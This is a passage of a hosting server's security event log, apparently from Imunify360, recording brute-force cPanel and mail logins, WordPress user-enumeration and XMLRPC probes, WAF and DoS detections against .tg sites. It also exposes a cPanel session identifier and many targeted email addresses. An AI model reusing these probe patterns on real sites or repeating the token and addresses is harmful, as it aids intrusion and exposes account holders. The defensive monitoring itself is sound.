name: Login failed on the cpanel service.
abuser: 86.23.91.61
country_id: 2635167
description:
[2026-06-25 09:09:49 +0000] info [cpaneld] 86.23.91.61 - liber "GET /login/?login_only=1&user=liber&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user liber (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.183.103.121
country_id: 2635167
description:
Jun 25 09:10:32 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.183.103.121 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.183.103.121
country_id: 2635167
description:
2026-06-25 09:10:34 dovecot_login authenticator failed for H=(39.85.165.220.broad.yx.yn.dynamic.163data.com.cn) [185.183.103.121]:54716: 535 Incorrect authentication data (set_id=eagniba@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.160
country_id: 130758
description:
Jun 25 09:12:50 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-06-25 09:13:41 dovecot_login authenticator failed for H=([125.16.27.210]) [182.95.61.82]:54770: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.109.200.181
country_id: 1814991
description:
2026-06-25 09:14:09 dovecot_login authenticator failed for H=([210.117.11.71]) [223.109.200.181]:41310: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.50.143.78
country_id: 1814991
description:
2026-06-25 09:14:43 dovecot_login authenticator failed for H=(82-65-140-218.subs.proxad.net) [111.50.143.78]:6420: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.67.48.120
country_id: 3469034
description:
2026-06-25 09:19:15 dovecot_login authenticator failed for H=([103.104.127.49]) [152.67.48.120]:54715: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 40.125.81.216
country_id: 6252001
domain: www.fomda.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.7680.165 Safari/537.36||RSV:8.20||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-06-25 09:19:07 dovecot_login authenticator failed for H=([197.219.228.242]) [210.206.24.237]:4631: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.240.80
country_id: 2661886
description:
2026-06-25 09:18:54 dovecot_login authenticator failed for H=([37.79.255.104]) [188.126.240.80]:41896: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.88
country_id: 1814991
description:
2026-06-25 09:19:37 dovecot_login authenticator failed for H=([220.240.104.100]) [27.24.141.88]:42154: 535 Incorrect authentication data (set_id=arse)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.61.251.4
country_id: 3686110
description:
2026-06-25 09:19:24 dovecot_login authenticator failed for H=([14.51.223.168]) [181.61.251.4]:34668: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.167.166
country_id: 1814991
description:
2026-06-25 09:19:27 dovecot_login authenticator failed for H=(net-85-173-96-230.kbrnet.ru) [111.26.167.166]:43586: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.24.141.88
country_id: 1814991
description:
Jun 25 09:19:35 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.24.141.88 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-25 09:22:21 +0000] info [webmaild] 160.242.195.10 - gblaou@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 154.70.80.74
country_id: 2363686
description:
[2026-06-25 09:22:44 +0000] info [webmaild] 154.70.80.74 - koudjramey.akua@cloud-et-racks.tg "GET /cpsess1647434989/webmail/jupiter/index.html?mailclient=none HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-25 09:24:11 +0000] info [webmaild] 160.242.195.10 - gblaou@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 92.119.177.20
country_id: 6252001
description:
[2026-06-25 09:25:03 +0000] info [cpaneld] 92.119.177.20 NEW expirefreenetmas:7nuLE3QQ6PP6bySk address=92.119.177.20,app=cpaneld,creator=expirefreenetmas,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-25 09:24:37 +0000] info [webmaild] 160.242.195.10 - gblaou@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.119
country_id: 1819730
description:
2026-06-25 09:25:43 dovecot_login authenticator failed for H=([65.20.205.197]) [121.202.206.119]:44514: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.177.125.90
country_id: 2750405
description:
[2026-06-25 09:26:22 +0000] info [cpaneld] 185.177.125.90 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-25 09:27:23 +0000] info [webmaild] 160.242.195.10 - gblaou@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.50.143.78
country_id: 1814991
description:
2026-06-25 09:27:52 dovecot_login authenticator failed for H=([202.165.29.196]) [111.50.143.78]:35575: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 188.166.71.93
country_id: 2750405
description:
Denial of Service (DoS) attack was discovered from 188.166.71.93: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.136.223.227
country_id: 2017370
description:
2026-06-25 09:28:03 dovecot_login authenticator failed for H=([49.125.201.64]) [78.136.223.227]:60878: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-25 09:28:50 +0000] info [cpaneld] 37.130.84.20 - benoit21112@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 217.181.84.125
country_id: 2921044
domain: cafe.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.238.140.87
country_id: 2661886
description:
2026-06-25 09:30:16 dovecot_login authenticator failed for H=customer-109-238-140-87.stosn.net ([61.222.55.205]) [109.238.140.87]:54480: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-25 09:29:46 +0000] info [cpaneld] 195.3.220.88 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.201.173
country_id: 660013
description:
2026-06-25 09:30:40 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc9-173.dhcp.inet.fi ([121.182.101.207]) [80.223.201.173]:35276: 535 Incorrect authentication data (set_id=contact)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 65.110.40.248
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 65.110.40.248: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.130.84.20
country_id: 298795
description:
[2026-06-25 09:32:08 +0000] info [cpaneld] 37.130.84.20 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-25 09:33:17 +0000] info [cpaneld] 195.3.220.88 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.197.12.104
country_id: 1835841
description:
2026-06-25 09:33:25 dovecot_login authenticator failed for H=([49.124.151.4]) [211.197.12.104]:43474: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 147.235.219.144
country_id: 294640
description:
[2026-06-25 09:34:12 +0000] info [cpaneld] 147.235.219.144 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.228.65.79
country_id: 298795
description:
[2026-06-25 09:34:14 +0000] info [cpaneld] 88.228.65.79 - tps "GET /login/?login_only=1&user=tps&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tps (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-06-25 09:33:39 dovecot_login authenticator failed for H=([68.71.249.154]) [119.196.213.196]:35310: 535 Incorrect authentication data (set_id=jategbo@kpmg.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.197.12.104
country_id: 1835841
description:
2026-06-25 09:35:44 dovecot_login authenticator failed for H=([74.119.144.57]) [211.197.12.104]:55970: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-25 09:36:18 +0000] info [cpaneld] 195.3.220.88 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 156.38.74.234
country_id: 2363686
description:
[2026-06-25 09:36:57 +0000] info [cpaneld] 156.38.74.234 - daba "GET /cpsess2495994961/frontend/jupiter/zone_editor/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.200.217.128
country_id: 1835841
description:
Jun 25 09:37:09 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.200.217.128 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-06-25 09:37:11 dovecot_login authenticator failed for H=([187.189.237.35]) [175.200.217.128]:54272: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 122.15.212.161
country_id: 1269750
description:
122.15.212.161 - - [25/Jun/2026:09:37:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857178&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fexplosion-dans-une-usine-chimique-en-chine%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782380232 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/explosion-dans-une-usine-chimique-en-chine/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2912.1091 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:122.15.212.161


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-06-25 09:36:44 dovecot_login authenticator failed for H=([58.65.73.22]) [119.192.249.195]:58207: 535 Incorrect authentication data (set_id=contact@cloud-et-racks.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.192.249.195
country_id: 1835841
description:
Jun 25 09:36:42 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.192.249.195 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.170.127.51
country_id: 2017370
description:
[2026-06-25 09:38:33 +0000] info [cpaneld] 93.170.127.51 - wellcit "GET /login/?login_only=1&user=wellcit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.7.15.158
country_id: 3932488
description:
[2026-06-25 09:38:39 +0000] info [cpaneld] 179.7.15.158 - wellci "GET /login/?login_only=1&user=wellci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.102.30.34
country_id: 3469034
description:
[2026-06-25 09:38:48 +0000] info [cpaneld] 187.102.30.34 - well "GET /login/?login_only=1&user=well&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user well (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.54.84.91
country_id: 1512440
description:
[2026-06-25 09:38:24 +0000] info [cpaneld] 84.54.84.91 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.236.132.138
country_id: 290291
description:
[2026-06-25 09:38:29 +0000] info [cpaneld] 185.236.132.138 - wellcitytg "GET /login/?login_only=1&user=wellcitytg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcitytg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.126.130.214
country_id: 2017370
description:
[2026-06-25 09:38:54 +0000] info [cpaneld] 185.126.130.214 - wel "GET /login/?login_only=1&user=wel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.111.224.118
country_id: 3895114
description:
[2026-06-25 09:38:57 +0000] info [cpaneld] 200.111.224.118 - we "GET /login/?login_only=1&user=we&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user we (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.178.214
country_id: 1880251
description:
43.173.178.214 - - [25/Jun/2026:09:40:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12830405&pdata=https%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F5425&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782380410 HTTP/1.1" 404 561 togodailynews.tg "https://togodailynews.tg/wp-json/wp/v2/posts/5425" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.178.214


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.133.113.227
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:45.133.113.227||TA:45.133.113.227||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 179.64.71.203
country_id: 2300660
description:
179.64.71.203 - - [25/Jun/2026:09:40:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10078102&pdata=https%253A%252F%252Fwww.arse.tg%252Fmise-a-jour-compteurs-cashpower%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782380434 HTTP/1.1" 302 0 www.arse.tg "https://www.arse.tg/mise-a-jour-compteurs-cashpower/" "Mozilla/5.0 (iPhone; CPU iPhone OS 27_0_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) GSA/425.6.927981711 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:179.64.71.203


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.123.235.99
country_id: 1880251
description:
[2026-06-25 09:42:13 +0000] info [cpaneld] 109.123.235.99 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.173.138.250
country_id: 1814991
description:
2026-06-25 09:41:39 dovecot_login authenticator failed for H=([24.135.74.36]) [222.173.138.250]:56190: 535 Incorrect authentication data (set_id=egnassingbe@golfe3.mairie.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.70.171.57
country_id: 1210997
description:
103.70.171.57 - - [25/Jun/2026:09:43:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197401&pdata=https%253A%252F%252Fmacite.tg%252F2024%252F05%252F28%252Ftransports-lorigine-de-mayday-utilise-comme-message-de-detresse%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782380609 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2024/05/28/transports-lorigine-de-mayday-utilise-comme-message-de-detresse/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.9209.1643 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.70.171.57


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.181.69
country_id: 1880251
description:
43.173.181.69 - - [25/Jun/2026:09:46:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792624&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F62035&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782380766 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/posts/62035" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.69


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.123.235.99
country_id: 1880251
description:
[2026-06-25 09:45:40 +0000] info [cpaneld] 109.123.235.99 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.79.219.71
country_id: 2395170
description:
41.79.219.71 - - [25/Jun/2026:09:49:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9793692&pdata=https%253A%252F%252Fwww.cloud-et-racks.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782380939 HTTP/2.0" 302 0 www.cloud-et-racks.tg "https://www.cloud-et-racks.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.79.219.71


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 110.249.202.76
country_id: 1814991
domain: caissederetraites.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:8.20||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.87
country_id: 130758
description:
Jun 25 09:48:52 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.87 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.118.136.193
country_id: 1562822
description:
[2026-06-25 09:49:29 +0000] info [cpaneld] 42.118.136.193 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.226.67.242
country_id: 3996063
description:
[2026-06-25 09:49:32 +0000] info [cpaneld] 177.226.67.242 - digilix "GET /login/?login_only=1&user=digilix&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digilix (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.171.114.224
country_id: 3865483
description:
[2026-06-25 09:49:42 +0000] info [cpaneld] 152.171.114.224 - digili "GET /login/?login_only=1&user=digili&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digili (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.171.123.168
country_id: 3469034
description:
[2026-06-25 09:49:36 +0000] info [cpaneld] 45.171.123.168 - digilixtg "GET /login/?login_only=1&user=digilixtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digilixtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.25.21.50
country_id: 953987
description:
[2026-06-25 09:49:51 +0000] info [cpaneld] 196.25.21.50 - digi "GET /login/?login_only=1&user=digi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-25 09:49:53 +0000] info [cpaneld] 195.3.220.88 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.203.133.131
country_id: 3996063
description:
[2026-06-25 09:49:55 +0000] info [cpaneld] 189.203.133.131 - dig "GET /login/?login_only=1&user=dig&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dig (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.101.197.93
country_id: 2017370
description:
[2026-06-25 09:49:57 +0000] info [cpaneld] 92.101.197.93 - di "GET /login/?login_only=1&user=di&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user di (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.19.151
country_id: 2363686
domain: leadelles.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/index.php/wp-json/wp/v2/users/3?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.47.8.222
country_id: 1522867
description:
[2026-06-25 09:55:17 +0000] info [cpaneld] 92.47.8.222 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.155.193.121
country_id: 2635167
description:
[2026-06-25 09:55:00 +0000] info [cpaneld] 86.155.193.121 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.65.113.146
country_id: 2802361
description:
[2026-06-25 09:55:20 +0000] info [cpaneld] 87.65.113.146 - nps "GET /login/?login_only=1&user=nps&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nps (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.38.154.46
country_id: 3469034
description:
[2026-06-25 09:55:28 +0000] info [cpaneld] 177.38.154.46 - np "GET /login/?login_only=1&user=np&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user np (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.177.157.99
country_id: 294640
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/71.jpeg HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 83.142.53.64
country_id: 294640
domain: www.shekina.tensai.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:admin1494.www.shekina.tensai.tg||Method:wp.getUsersBlogs


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.248.114.73
country_id: 192950
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/16.jpeg HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.191.99.144
country_id: 3932488
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/lancement-bitter-lemon-by-chap HTTP/1.1||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.91.243
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/8.jpeg HTTP/1.1||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.123.235.99
country_id: 1880251
description:
[2026-06-25 10:01:47 +0000] info [cpaneld] 109.123.235.99 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.135.198.94
country_id: 1733045
description:
[2026-06-25 10:02:11 +0000] info [cpaneld] 115.135.198.94 - fastsolutiontg "GET /login/?login_only=1&user=fastsolutiontg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolutiontg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.76.132.192
country_id: 3469034
description:
[2026-06-25 10:02:22 +0000] info [cpaneld] 189.76.132.192 - fastso "GET /login/?login_only=1&user=fastso&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastso (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.190.20.17
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/product/show/bitter-lemon-canette HTTP/1.1||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.77.165.33
country_id: 2017370
description:
[2026-06-25 10:02:08 +0000] info [cpaneld] 94.77.165.33 - fastsolution "GET /login/?login_only=1&user=fastsolution&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolution (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.137.81.41
country_id: 1210997
description:
